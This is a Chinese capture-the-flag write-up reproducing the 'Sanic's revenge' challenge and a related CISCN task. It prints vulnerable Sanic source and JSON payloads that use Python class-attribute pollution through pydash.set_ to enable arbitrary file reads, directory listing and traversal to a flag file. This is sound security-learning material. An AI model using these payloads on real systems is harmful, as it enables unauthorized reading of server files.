复现这个之前先要学习下python的原型链污染(未学┭┮﹏┭┮)

之前学了Nodejs原型链污染,Python原型链污染和Nodejs原型链污染的根本原理一样,Nodejs是对键值对的控制来进行污染,而Python则是对类属性值的污染,且只能对类的属性来进行污染不能够污染类的方法。

先看给的源码

from sanic import Sanic  
import os
from sanic.response import text, html
import sys
import random
import pydash

# pydash==5.1.2

# 这里的源码好像被admin删掉了一些,听他说里面藏有大秘密

class Pollute:
def __init__(self):
pass

app = Sanic(__name__)
app.static("/static/", "./static/")

@app.route("/*****secret********")
async def secret(request):
secret='**************************'
return text("can you find my route name ???"+secret)

@app.route('/', methods=['GET', 'POST'])
async def index(request):
return html(open('static/index.html').read())

@app.route("/pollute", methods=['GET', 'POST'])
async def POLLUTE(request):
key = request.json['key']
value = request.json['value']
if key and value and type(key) is str and 'parts' not in key and 'proc' not in str(value) and type(value) is not list:
pollute = Pollute()
pydash.set_(pollute, key, value)
return text("success")
else:
log_dir = create_log_dir(6)
log_dir_bak = log_dir + ".."
log_file = "/tmp/" + log_dir + "/access.log"
log_file_bak = "/tmp/" + log_dir_bak + "/access.log.bak"
log = 'key: ' + str(key) + '|' + 'value: ' + str(value);
# 生成日志文件
os.system("mkdir /tmp/" + log_dir)
with open(log_file, 'w') as f:
f.write(log)
# 备份日志文件
os.system("mkdir /tmp/" + log_dir_bak)
with open(log_file_bak, 'w') as f:
f.write(log)
return text("!!!此地禁止胡来,你的非法操作已经被记录!!!")

if __name__ == '__main__':
app.run(host='0.0.0.0')

我们看到Pollute 路由这段

@app.route("/pollute", methods=['GET', 'POST'])
async def POLLUTE(request):
key = request.json['key']
value = request.json['value']
if key and value and type(key) is str and 'parts' not in key and 'proc' not in str(value) and type(value) is not list:
pollute = Pollute()
pydash.set_(pollute, key, value)
return text("success")
else:
log_dir = create_log_dir(6)
log_dir_bak = log_dir + ".."
log_file = "/tmp/" + log_dir + "/access.log"
log_file_bak = "/tmp/" + log_dir_bak + "/access.log.bak"
log = 'key: ' + str(key) + '|' + 'value: ' + str(value);
# 生成日志文件
os.system("mkdir /tmp/" + log_dir)
with open(log_file, 'w') as f:
f.write(log)
# 备份日志文件
os.system("mkdir /tmp/" + log_dir_bak)
with open(log_file_bak, 'w') as f:
f.write(log)
return text("!!!此地禁止胡来,你的非法操作已经被记录!!!")
  • 这是一个处理 /pollute 路径的异步函数 POLLUTE,支持 GETPOST 方法。
  • 解析请求的 JSON 数据,获取 keyvalue
  • 如果条件满足:
    • 创建一个 Pollute 实例。
    • 使用 pydash.set_ 函数 设置 pollute 实例的属性。
    • 返回 “success” 文本。
  • 这个路由还设置了一个waf,如果触发了waf,就会将key和value的值写入/tmp目录下的文件中

payload:

{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.file_or_directory","value": "/"}

这段json代码就是将file_or_directory设置为”/“我的基础还是很薄弱所以我们分析这个payload

  1. __class__: 访问当前对象的类。

  2. __init__: 访问类的构造函数。

  3. __globals__: 访问构造函数的全局命名空间,这允许攻击者访问应用的全局变量。

  4. app.router.name_index.__mp_main__: 试图访问Sanic应用的路由器中的name_index,其中__mp_main__表示模块的名称。

  5. .static.handler.keywords.file_or_directory: 最终目标是访问并修改静态文件处理器的file_or_directory属性。

  6. "/": 设置的值为根目录。(补充 :

    file_or_directory 这个属性的作用通常是用于指示文件处理器处理的是文件还是目录。攻击者试图通过修改 file_or_directory 属性,将其值设置为 "/",可能导致服务器将根目录作为静态文件目录,从而暴露服务器上的敏感文件和目录。这种攻击利用了对关键属性缺乏适当验证和保护的漏洞。
    )就可以实现任意文件读取

回显success,表面成功了

接着我们访问/static/proc/1/cmdline

inux系统中的/proc文件系统的路径,并通过应用的静态文件服务暴露出来

  • **/proc/1/cmdline**:这是一个文件,包含启动进程ID为1的进程时使用的命令行参数。

显示当前的启动路径为/bin/bash/start.sh

我们继续打开这个路径

发现运行的py脚本

给了丢失的源码

from sanic import Sanic
import os
from sanic.response import text, html
import sys
import random
import pydash

# pydash==5.1.2

#源码好像被admin删掉了一些,听他说里面藏有大秘密
class Pollute:
def __init__(self):
pass

def create_log_dir(n):
ret = ""
for i in range(n):
num = random.randint(0, 9)
letter = chr(random.randint(97, 122))
Letter = chr(random.randint(65, 90))
s = str(random.choice([num, letter, Letter]))
ret += s
return ret

app = Sanic(__name__)
app.static("/static/", "./static/")

@app.route("/Wa58a1qEQ59857qQRPPQ")
async def secret(request):
with open("/h111int",'r') as f:
hint=f.read()
return text(hint)

@app.route('/', methods=['GET', 'POST'])
async def index(request):
return html(open('static/index.html').read())

@app.route("/adminLook", methods=['GET'])
async def AdminLook(request):
#方便管理员查看非法日志
log_dir=os.popen('ls /tmp -al').read();
return text(log_dir)

@app.route("/pollute", methods=['GET', 'POST'])
async def POLLUTE(request):
key = request.json['key']
value = request.json['value']
if key and value and type(key) is str and 'parts' not in key and 'proc' not in str(value) and type(value) is not list:
pollute = Pollute()
pydash.set_(pollute, key, value)
return text("success")
else:
log_dir=create_log_dir(6)
log_dir_bak=log_dir+".."
log_file="/tmp/"+log_dir+"/access.log"
log_file_bak="/tmp/"+log_dir_bak+"/access.log.bak"
log='key: '+str(key)+'|'+'value: '+str(value);
#生成日志文件
os.system("mkdir /tmp/"+log_dir)
with open(log_file, 'w') as f:
f.write(log)
#备份日志文件
os.system("mkdir /tmp/"+log_dir_bak)
with open(log_file_bak, 'w') as f:
f.write(log)
return text("!!!此地禁止胡来,你的非法操作已经被记录!!!")

if __name__ == '__main__':
app.run(host='0.0.0.0')
@app.route("/Wa58a1qEQ59857qQRPPQ")
async def secret(request):
with open("/h111int",'r') as f:
hint=f.read()
return text(hint)

他这个给了secret的路径

访问看看

他说flag在app路由下,但是不知道他的名字 让我们找

@app.route("/adminLook", methods=['GET'])
async def AdminLook(request):

还给了/adminLook的路由

我们传入恶意的key 比如part 这一步很重要到后面来解释

{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.parts","value": "/"}

传入后我们发现多了两个文件

有点不一样是因为靶机过期了重新打开了

我们先切换到/tmp目录

{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.file_or_directory","value": "/tmp"}

#对base属性进行污染

{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.base","value": "static/4KDN4B"}

#打开目录功能

{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view","value": 1}

访问static/4KDN4B../

image-20240723165717529

最后得到flag的名字直接访问就好

在把静态文件目录换成为根目录

{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.file_or_directory","value": "/"}

之前知道flag在app路由下

/static/app/45W698WqtsgQT1_flag

接下来解释上面遗留的问题

那么为什么要恶意操作被后台日志记录呢?

这里复现完了我先把大佬的wp链接放出来,因为我水平有限,基本上就是照着大佬wp来进行复现

有点为了复现而复现的丑陋感,到后面我会慢慢补好基础的┭┮﹏┭┮

https://www.cnblogs.com/gxngxngxn/p/18290489

https://dawnrisingdong.github.io/2024/07/22/DASCTF-2024%E6%9A%91%E6%9C%9F%E6%8C%91%E6%88%98%E8%B5%9B-Sanic-s-revenge%E5%A4%8D%E7%8E%B0/#%E8%A7%A3%E9%A2%98

https://blog.csdn.net/2301_79700060/article/details/140632405

https://blog.csdn.net/qq_66013948/article/details/140582003?spm=1001.2014.3001.5502

那么我们从

[gxngxngxn]

大佬的文章来解释下

这套题目其实是ciscn2024 改的一道题目,先放链接

https://www.cnblogs.com/gxngxngxn/p/18205235

国赛 sanic的源码

from sanic import Sanic
from sanic.response import text, html
from sanic_session import Session
import pydash
# pydash==5.1.2


class Pollute:
def __init__(self):
pass


app = Sanic(__name__)
app.static("/static/", "./static/")
Session(app)


@app.route('/', methods=['GET', 'POST'])
async def index(request):
return html(open('static/index.html').read())


@app.route("/login")
async def login(request):
user = request.cookies.get("user")
if user.lower() == 'adm;n':
request.ctx.session['admin'] = True
return text("login success")

return text("login fail")


@app.route("/src")
async def src(request):
return text(open(__file__).read())


@app.route("/admin", methods=['GET', 'POST'])
async def admin(request):
if request.ctx.session.get('admin') == True:
key = request.json['key']
value = request.json['value']
if key and value and type(key) is str and '_.' not in key:
pollute = Pollute()
pydash.set_(pollute, key, value)
return text("success")
else:
return text("forbidden")

return text("forbidden")


if __name__ == '__main__':
app.run(host='0.0.0.0')

/admin 路由那块就是编码成八进制可以进入/login,而且需要绕过waf大佬文章都讲了

直接看sanic那块污染链寻找

我们可以污染__file__然后进行任意文件读取,但是我们不知道flag的位置所以可以开启目录功能,有关的两个函数

directory_view directory_handler

只要我们将directory污染为根目录,directory_view污染为True,就可以看到根目录的所有文件了

这个框架可以通过**app.router.name_index[‘xxxxx’]**来获取注册的路由

获得这个路由之后我们需要调用到DirectoryHandler里

我们可以用name_index方法发现可以从handler入手,一直可以获取到DirectoryHandler中的directory和directory_view

从而实现污染达到列目录的目的

然后接下里就是污染directory

但是directory是一个对象,而它之前的值就是由其中的parts属性决定的,但是由于这个属性是一个tuple,不能直接被污染,所以我们需要找到这个属性是如何被赋值的?(这里我们需要知道tuple(元组:元组是 Python 中的一种数据结构,用于存储多个元素。与列表类似,元组也是一个序列,但与列表不同的是,元组是不可变的。这意味着元组一旦创建,其内容不能修改))

所以不能直接污染directory

但在DirectoryHandler类中有Directory属性可以从这入手进入path对象parts的值最后是给了_parts这个属性发现是list

最终污染成/就成功了

到时候要去复现下国赛ciscn毕竟那天坐了一天牢

到这还没完还没

我们继续看DirectoryHandler类中handle方法中的逻辑:

当我们开启列目录功能后,就会进入

return self._index(    self.directory / current, path, request.app.debug )

解决上面遗留的问题就是从这开始发现这个目录路径是由Parts+current拼接出来的

self.directory / current,path, request.app .debug

目的就是让current变成.. 实现目录穿越

看下

current = path.strip("/")[len(self.base) :].strip("/")
从给定的路径中去除基本路径(`self.base`),然后返回剩余路径。首先,`path.strip("/")` 去除路径两端的斜杠,然后`[len(self.base):]` 取基本路径之后的部分,最后`.strip("/")` 再次去除剩余路径两端的斜杠

#可以看到current的值就是由path和base两个值决定的

self.base是可控的

那么我们就得构造current的值

关键就在于下面

所以实现目录穿越只要让path的值为static/一个目录/ current值为..就好了

但是这个目录怎么来?

file_or_directory

可以改变静态文件的默认路径

我们只需要通过这个改变到其他目录,该目录下存在其他目录不就好了

它可以改变static的默认路径

这就是上面为什么需要传入恶意的key,目的就是让日志记录,获得一个报错的目录

继续改变目录位置(上面改的是/tmp)然后修改其base的值为自己报错的目录

就看实现目录穿越了

ile_or_directory只是改变它识别的路径,并不会改变

self.directory中parts的值,这个列目录的值依旧是默认的